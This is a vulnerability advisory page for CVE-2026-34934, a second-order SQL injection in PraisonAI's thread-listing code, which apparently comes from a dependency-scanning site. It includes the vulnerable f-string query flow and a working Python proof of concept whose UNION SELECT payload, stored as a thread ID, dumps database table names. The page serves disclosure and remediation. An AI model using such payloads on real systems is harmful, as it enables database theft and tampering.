CVE-2026-34934 — PraisonAI Has Second-Order SQL Injection in praisonai
PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.63%). Schedule for your next planned update.
Does your project use an affected praisonai version?
Paste your requirements.txt to check it for CVE-2026-34934 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
Details
File Path:
src/praisonai/praisonai/ui/sql_alchemy.py
Flow:
- Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
- Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
- Sink (Line 576):
WHERE s."threadId" IN {thread_ids}
Proof of Concept (PoC)
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console
Impact
An attacker can achieve full database compromise, including:
- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents
Advisory Timeline
- First published April 1, 2026 (239 days ago).
- Last revised November 16, 2026 — 229 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
pip install "praisonai>=4.5.90"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: PyPI (1).
| Package | Fixed In |
|---|---|
| praisonai PyPI · Affected: 0.0.1, 0.0.10, 0.0.11, 0.0.12 (+647 more) | 4.5.90 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-89SQL InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434gWEB
- https://nvd.nist.gov/vuln/detail/CVE-2026-34934ADVISORY
- https://github.com/MervinPraison/PraisonAIPACKAGE
- https://github.com/pypa/advisory-database/tree/main/vulns/praisonai/PYSEC-2026-470.yamlWEB
- https://pypi.org/project/praisonaiWEB
Frequently Asked Questions
- What is CVE-2026-34934?
- PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
- How do I check if my project is affected by CVE-2026-34934?
- CVE-2026-34934 affects praisonai. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-34934 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 44.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-57145CRITICAL
PraisonAI: Arbitrary File Read/Write via `multiedit` Tool Without Path Validation
- CVE-2026-57131CRITICAL
PraisonAI: Jobs API exposes agent-execution endpoints with no authentication
- CVE-2026-57127CRITICAL
praisonai: recipe serve auth middleware silently disables itself when no secret is set
- CVE-2026-57124CRITICAL
PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai
- CVE-2026-40154CRITICAL
PraisonAI Vulnerable Untrusted Remote Template Code Execution
- CVE-2026-40288CRITICAL
PraisonAI has critical RCE via `type: job` workflow YAML
- CVE-2026-47391CRITICAL
PraisonAI's unauthenticated A2A official example can reach real LLM-driven `eval()` tool execution
- CVE-2026-55541HIGH
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced